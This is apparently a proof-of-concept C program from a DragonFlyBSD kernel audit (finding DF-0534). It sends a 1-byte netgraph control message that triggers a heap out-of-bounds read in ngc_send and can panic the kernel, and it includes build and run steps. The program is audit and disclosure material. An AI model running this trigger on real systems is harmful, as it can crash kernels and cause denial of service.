DragonFlyBSD Kernel Audit
DF-0534 / df0534.c
← back to finding ↓ download raw
/*
 * DF-0534 - Heap OOB read in ngc_send (netgraph CONTROL socket send path).
 *
 * Bug: sys/netgraph7/socket/ng_socket.c ngc_send():254-307 sums the mbuf chain
 *      length into `len`, does kmalloc(len+1, M_NETGRAPH_MSG), and immediately
 *      derefs msg->header.version (:264), typecookie/cmd (:276-277), and on a
 *      MKPEER message reads mkp->type past the data (:278,281,291, including an
 *      unbounded ksnprintf("ng_%s.ko", mkp->type) %s scan). There is NO
 *      minimum-size check. With a 1-byte user payload, only 2 bytes are
 *      allocated but the header (struct ng_msghdr is 56 bytes) is dereferenced
 *      well past the allocation -> heap OOB read into adjacent slab.
 *
 * Reachability: REQUIRES a netgraph CONTROL socket. ngc_attach() at
 *      ng_socket.c:182 does caps_priv_check(SYSCAP_RESTRICTEDROOT) -> root only.
 *      This is therefore a root->kernel hardening gap (no privilege boundary to
 *      cross; root->kernel is game-over by definition). The bug is still a real
 *      memory-safety defect worth fixing.
 *
 * Build:  cc -O2 -o df0534 df0534.c
 * Run:    ./df0534   (must be root; needs `kldload ng_socket` first)
 *
 * Expected (bug present): the kernel reads msg->header fields past the 2-byte
 *      allocation. On INVARIANTS kernels this is typically caught; on default
 *      GENERIC it usually manifests as either a clean OOB read (no observable
 *      effect if adjacent slab happens to satisfy the checks) or a panic if the
 *      %s scan / deref crosses a page. We send a tiny version=8 message so the
 *      version check passes and execution proceeds into the OOB header access.
 */

#include <sys/param.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>

#define MY_AF_NETGRAPH 32
#define NG_CONTROL     2   /* pr_protocol for the control socket protosw */

/* Minimal ng_mesg: just the version byte set to NG_VERSION(=8). sizeof header
 * is 56 bytes; we send only 1 byte so kmalloc(2) is done but the kernel reads
 * header.version (ok, offset 0), then header.typecookie (offset 16, OOB),
 * header.cmd (offset 20, OOB), etc. */
struct my_sockaddr_ng {
	unsigned char  sg_len;
	unsigned short sg_family;
	char           sg_data[64];
};

int main(void)
{
	int fd, rc;
	struct my_sockaddr_ng sa;
	/* 1-byte payload: version = 8 = NG_VERSION, so the version check at
	 * ng_socket.c:264 PASSES and execution falls through to the OOB reads
	 * of typecookie / cmd at :276-277. */
	unsigned char pkt = 8;  /* NG_VERSION */
	struct iovec iov;
	struct msghdr msg;

	printf("[*] DF-0534: ngc_send heap OOB read (control socket, root-only)\n");
	printf("[*] uid=%d euid=%d\n", getuid(), geteuid());

	fd = socket(MY_AF_NETGRAPH, SOCK_DGRAM, NG_CONTROL);
	if (fd < 0) {
		printf("[!] socket failed: %s (is ng_socket.ko loaded?)\n",
		    strerror(errno));
		return 2;
	}
	printf("[+] control socket created fd=%d (required SYSCAP_RESTRICTEDROOT)\n",
	    fd);

	/* Destination path "x" (does not need to resolve; the OOB happens before
	 * ng_address_path). sg_len = 2 (header) + 1 ('x') + 1 (NUL) = 4. */
	memset(&sa, 0, sizeof(sa));
	sa.sg_len = 4;
	sa.sg_family = MY_AF_NETGRAPH;
	sa.sg_data[0] = 'x';
	sa.sg_data[1] = '\0';

	memset(&msg, 0, sizeof(msg));
	iov.iov_base = &pkt;
	iov.iov_len  = 1;            /* 1-byte payload -> kmalloc(2) */
	msg.msg_name = &sa;
	msg.msg_namelen = sa.sg_len;
	msg.msg_iov = &iov;
	msg.msg_iovlen = 1;

	printf("[*] sending 1-byte ng_mesg (version=8) -> kmalloc(2), then kernel\n");
	printf("[*] derefs header.typecookie @off16 / cmd @off20 -> OOB read\n");

	errno = 0;
	rc = sendmsg(fd, &msg, 0);
	printf("[*] sendmsg returned %d, errno=%d (%s)\n",
	    rc, errno, strerror(errno));
	printf("[+] DF-0534 OOB-read path exercised. If the guest is dead, see "
	    "boot.log for the panic (OOB crossed a page / INVARIANTS trap).\n");

	close(fd);
	return 0;
}